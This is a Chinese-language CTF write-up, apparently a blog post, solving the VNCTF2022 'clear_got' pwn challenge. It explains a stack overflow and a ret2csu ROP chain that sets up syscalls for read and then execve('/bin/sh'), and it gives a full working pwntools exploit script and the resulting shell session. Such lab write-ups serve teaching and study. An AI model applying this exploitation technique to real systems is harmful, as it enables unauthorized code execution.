【pwn做题记录】04.[VNCTF2022公开赛]clear_got 97

例题:[VNCTF2022公开赛]clear_got 97

首先检查一下文件:

C:\Users\A\Downloads>checksec clear_got
[*] 'C:\\Users\\A\\Downloads\\clear_got'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

上面每一条的意思依次是:

  • amd64位程序,小端序
  • GOT表部分可读可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

原理分析

没有栈保护栈不可执行,可能是还是栈溢出的题目。

用IDA打开文件,查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[92]; // [rsp+0h] [rbp-60h] BYREF
  int v5; // [rsp+5Ch] [rbp-4h]

  init(argc, argv, envp);
  memset(buf, 0, 0x50uLL);
  puts("Welcome to VNCTF! This is a easy competition.///");
  read(0, buf, 0x100uLL);
  v5 = (int)&qword_601008;
  memset(&qword_601008, 0, 0x38uLL);
  return 0;
}
  • [rbp-60h]可知:buf距离rbp有0x60个字节,因此只需要有0x60 + 8个字节就可以栈溢出(这是64位程序,rbp占8字节)。
  • read(0, buf, 0x100uLL)可知:read可以读取0x100个字节,大于栈溢出所需字节数,所以这里存在栈溢出漏洞。
  • memset(&qword_601008, 0, 0x38uLL)可知:qword_601008开始的0x38个字节都赋值为0,双击查看qword_601008,可以看出got几乎全被覆盖为0,即清空了。
.got.plt:0000000000601000 _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000601000                 assume cs:_got_plt
.got.plt:0000000000601000                 ;org 601000h
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400540↑r
.got.plt:0000000000601008                                         ; main+4B↑o
.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400540+6↑r
.got.plt:0000000000601018 off_601018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000601020 off_601020      dq offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0000000000601028 off_601028      dq offset memset        ; DATA XREF: _memset↑r
.got.plt:0000000000601030 off_601030      dq offset alarm         ; DATA XREF: _alarm↑r
.got.plt:0000000000601038 off_601038      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000601040 off_601040      dq offset __libc_start_main
.got.plt:0000000000601040                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 _got_plt        ends

对main函数的简单分析,可以看出这道题虽然是动态链接的程序(由IDA打开文件左边的粉色内容可以看出,那些都是动态链接的函数),但是我们无法使用ret2libc的知识来泄露got地址调用system函数。这道题无system,无/bin/sh(在IDA里按住shift+f12可以查看)。

那如何调用system呢,这里有一个end2函数:

signed __int64 __fastcall end2(unsigned int a1, const char *a2, size_t a3)
{
  return sys_write(a1, a2, a3);
}

这里进行了系统调用。我们要知道,系统调用的函数,通常会有一个系统编号,如32位的有一个汇编指令是int 0x80,这个0x80是32位程序的execve函数(功能和system类似)的系统编号。
在64位里,系统编号通常会存放在rax寄存器里。这里可以看下end2函数的汇编代码:

.text:0000000000400773 ; signed __int64 __fastcall end2(unsigned int, const char *, size_t)
.text:0000000000400773                 public end2
.text:0000000000400773 end2            proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773                 push    rbp
.text:0000000000400774                 mov     rbp, rsp
.text:0000000000400777                 mov     rax, 1
.text:000000000040077E                 syscall                 ; LINUX - sys_write
.text:0000000000400780                 retn
.text:0000000000400780 end2            endp ; sp-analysis failed

由mov rax,1可以看出,这里的系统编号为0x1,后面紧接着一个syscall,这个是一个系统调用的指令,它会根据系统编号来调用对应的函数,系统编号为0x1的函数时write(LINUX - sys_write也在提示我们了)。
而execve(后面写为system,方便理解)的系统编号是0x3b,也就是说,我们需要让rax的值为0x3b,那我们就可以调用system。要修改rax的值,就不得不想起pop_rax_ret的gadget了,用ROPgadget查找一下:

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "./clear_got" --only "pop|ret"
Gadgets information
============================================================
0x00000000004007ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop r14 ; pop r15 ; ret
0x00000000004007f2 : pop r15 ; ret
0x00000000004007eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret
0x00000000004007ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400539 : ret
0x0000000000400542 : ret 0x200a

Unique gadgets found: 12

发现并没有pop_rax_ret,所以我们只能换个思路。

但我们可以看到文件里有__libc_csu_init__term_proc函数,因此我们可以考虑使用ret2csu的知识(不清楚的也可以看接下来的操作,知道个流程)。
首先看一下__libc_csu_init(只看汇编)的loc_4007d0loc_4007e6两部分:

.text:00000000004007D0 loc_4007D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp

这里记loc_4007e6为csu_gadget1,loc_4007d0为csu_gadget2(下面使用的使用都是这么表示)

先看csu_gadget1,可以看出这里可以修改rbx,rbp,r12,r13,r14,r15的值,这里既不能修改rax,也没有rdi,rsi,rdx修改参数,似乎很没用。
但如果其返回地址(0x4007f4)覆盖为csu_gadget2呢,会发现,rdx = r13,rsi = r14,edi = r15d。即我们可以利用csu_gadget1的r13,r14,r15间接修改rdi,rsi,rdx的值,就可以传递参数了。

接下来看一下这个指令

call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

前面的(__frame_dummy_init_array_entry - 600E10h)是用来计算基址的,双击查看__frame_dummy_init_array_entry的地址,在0x600e10,所以这个基址的地址是0x0。
[r12+rbx*8]是内存单元,如[0x100]就是取0x100指向的内容,其目的地址 = 0x100 + 基址,所取的内容是*(目的地址)(即指针的解引用)。所以这里所取的内容就是*(r12 + rbx * 8 + 基址)。因为基址 = 0x0,当rbx = 0的时候,这里就简化为*(r12),即call指令会跳转到r12指向的地址。r12我们是可以在csu_gadget1中修改的。

接下来的是:

add rbx,1
cmp rbx,rbp
jnz short loc_4007d0

这几行简单来说就是rbx += 1,如果rbx != rbp,则跳转到loc_4007d0(也就是csu_gadget2的位置),为避免在这里循环,所以我们可以是rbp = 1,前面我们把rbx设置为0,则这里rbx += 1,则此时rbx = rbp = 1,就可以无视jnz指令,继续往下执行。

接下来就又回到csu_gadget1的位置了,就不重复解释了。

简单来说,我们可以利用csu_gadget1修改rbx,rbp,r12,r13,r14,r15的值(其中令rbx = 0,rbp = 1,r12为指向要跳转地址的指针,r13为第三个参数,r14为第四个参数,r15为第五个参数),将其返回地址覆盖为csu_gadget2,此时会把rdi,rsi,rdx的值赋值为r15,r14,r13。即_libc_csu_init函数可以实现传递参数和函数跳转

由于r12要赋值为指向要跳转地址的指针,所以如果我们不想程序跳转,并且不让程序崩溃,要怎么办?直接使用ret是不行的,因为ret的地址并不指向哪里,即为空指针,就会导致程序异常。这种指向地址的指针,我们可以想到got表,got表存放的位置是一个地址,其内容也是一个地址,这个地址指向函数,即got表的内容是满足指向地址的指针的,即got地址 -> 0x100 -> fun函数。

但因为got表被覆盖,所以没法使用got表里的函数。因此这里提供的思路是用.LOAD段。

LOAD:0000000000600E28 ; ===========================================================================
LOAD:0000000000600E28
LOAD:0000000000600E28 ; Segment type: Pure data
LOAD:0000000000600E28 ; Segment permissions: Read/Write
LOAD:0000000000600E28 LOAD            segment byte public 'DATA' use64
LOAD:0000000000600E28                 assume cs:LOAD
LOAD:0000000000600E28                 ;org 600E28h
LOAD:0000000000600E28 _DYNAMIC        Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000600E28                                         ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000600E28                                         ; DT_NEEDED libc.so.6
LOAD:0000000000600E38                 Elf64_Dyn <0Ch, 400520h> ; DT_INIT
LOAD:0000000000600E48                 Elf64_Dyn <0Dh, 400804h> ; DT_FINI
LOAD:0000000000600E58                 Elf64_Dyn <19h, 600E10h> ; DT_INIT_ARRAY
LOAD:0000000000600E68                 Elf64_Dyn <1Bh, 8>      ; DT_INIT_ARRAYSZ
LOAD:0000000000600E78                 Elf64_Dyn <1Ah, 600E18h> ; DT_FINI_ARRAY

可以看出:0x600e48 -> 0x400804 -> _term_porc函数,所以也符合我们对传递个r12的值。
而这个函数也很特殊:

.fini:0000000000400804                 public _term_proc
.fini:0000000000400804 _term_proc      proc near
.fini:0000000000400804                 sub     rsp, 8          ; _fini
.fini:0000000000400808                 add     rsp, 8
.fini:000000000040080C                 retn
.fini:000000000040080C _term_proc      endp
.fini:000000000040080C
.fini:000000000040080C _fini           ends

rsp -= 8rsp += 8,也就是说,这个函数几乎啥也没干,我们称之为空函数。它就可以当我们的ROP里的ret跳板(有时候也会直接定位到0x400804 + 8的位置,即r12 = 0x600e48 + 8,这样会直接调用ret,当然不用也行)。

思路总结

说了这么多,现在先梳理一下我们的思路:

  • 利用syscall来进行系统调用
  • 利用rax = 0x3b的时候,可以调用system
  • 利用ret2csu来传递参数和跳转

显然,我们仍然缺少了对rax的修改。其实,函数的返回值也会放在rax,即我们可以利用函数的返回值来修改rax的值。
main函数的返回值是0,而read的系统编号是0x0,所以利用main函数的返回值,我们可以调用read
而read的返回值是读取的字节数,如果这个字节数 = 0x3b,则可以调用system

仔细看看,我们还缺少一个,就是system的参数/bin/sh的获取,由于前面调用了read,所以我们可以利用read进行写入,写到哪里呢?看一下bss段

.bss:0000000000601079                 align 4
.bss:000000000060107C                 public d
.bss:000000000060107C d               db    ? ;
.bss:000000000060107D                 db    ? ;
.bss:000000000060107E                 db    ? ;
.bss:000000000060107F                 db    ? ;
.bss:0000000000601080                 public b
.bss:0000000000601080 b               db    ? ;
.bss:0000000000601081                 db    ? ;
.bss:0000000000601082                 db    ? ;
.bss:0000000000601083                 db    ? ;
.bss:0000000000601084                 public c
.bss:0000000000601084 c               db    ? ;
.bss:0000000000601085                 db    ? ;
.bss:0000000000601086                 db    ? ;
.bss:0000000000601087                 db    ? ;
.bss:0000000000601088                 public a
.bss:0000000000601088 a               db    ? ;
.bss:0000000000601089                 db    ? ;
.bss:000000000060108A                 db    ? ;
.bss:000000000060108B                 db    ? ;
.bss:000000000060108C                 db    ? ;
.bss:000000000060108D                 db    ? ;
.bss:000000000060108E                 db    ? ;
.bss:000000000060108F                 db    ? ;
.bss:000000000060108F _bss            ends

因此我们存放/bin/sh的地方就是.bss的全局变量d(其他的全局变量也是可以的,不过尽量保持可以写入的内容多点,最好地址较低的一个)。

那我们的思路就是

  • 利用syscall来进行系统调用
  • 利用main的返回值调用read
  • 利用read函数在bss段写入/bin/sh
  • 利用read的返回值调用system
  • 利用ret2csu来传递参数和跳转

这里再整理和优化一下思路

  • 正常栈溢出,ret覆盖为csu_gadget1,准备给read传参,csu_gadget1的返回值覆盖为csu_gadget2
  • call指令不跳转,调用read函数,csu_gadget2的返回地址覆盖为csu_gadget1,准备给system传参
  • 第二次csu_gadget1的返回值覆盖为csu_gadget2,call指令调用system函数
  • 第一次csu_gadget2结束后,由于调用了read,所以程序停下,等待我们输入,我们可以输入b'/bin/sh\x00' + p64(syscall_ret)并补充到0x3b个字节,可以利用bss调用system

攻击脚本

#!/bin/python
from pwn import *
# context.log_level = 'debug' # 调试发送信息和打印信息

bss = 0x60107C
csu_gadget1 = 0x4007E6 + 4 # +4是为了跳过add rsp,8;这个对我们没用
csu_gadget2 = 0x4007D0
term_porc_load = 0x600E48 + 8
syscall_ret = 0x40077E

io = process("./clear_got")
#io = remote("node5.buuoj.cn",28357)

# 可以算一下这个payload的总长:0xf0,不超过0x100,所以可以全部被read读取
payload = b'a' * (0x60 + 8) + p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(term_porc_load) # r12,call
# 给read传参
payload += p64(0x3b) # r13,rdx
payload += p64(bss) # r14,rsi
payload += p64(0) # r15,edi

payload += p64(csu_gadget2) # csu_gadget1的返回地址
payload += b'b' * 0x8 # 填充垃圾数据,绕过add rsp,8
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(bss + 0x8) # r12,call;bss处写/bin/sh\x00,bss+0x8就是为了调用写在bss段的system函数
# 给system传参
payload += p64(0) # r13,rdx
payload += p64(0) # r14,rsi
payload += p64(bss) # r15,edi

payload += p64(syscall_ret) # csu_gadget1的返回地址,这里是为了调用read函数

# 由于前面没用调用csu_gadget2,所以提前给system传参并不影响read函数,并且可以保证在read函数在bss写入对应值后再调用system
payload += p64(csu_gadget2) 

io.recvuntil("///") # 前面有一个puts函数,先接收一下
io.send(payload)

# 发送完payload后,程序开始调用read函数
# 这里写入bss段的值,记得要补充到0x3b个字节,read的返回值才会是0x3b,才会调用system
payload = (b'/bin/sh\x00' + p64(syscall_ret)).ljust(0x3b,b'\x00')
io.send(payload)

io.interactive()

就可以获取flag了

点击查看代码
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{8e483d00-2946-414c-a975-e3becfdc72f4}
$ 
[*] Closed connection to node5.buuoj.cn port 28357

做题总结

在无/bin/sh,无system,got表被覆盖,无pop_rax_ret的情况下,
若有libc_csu_init和term_proc函数,则可以使用ret2csu

posted @ 2025-06-19 23:09  星冥鸢  阅读(35)  评论(0)    收藏  举报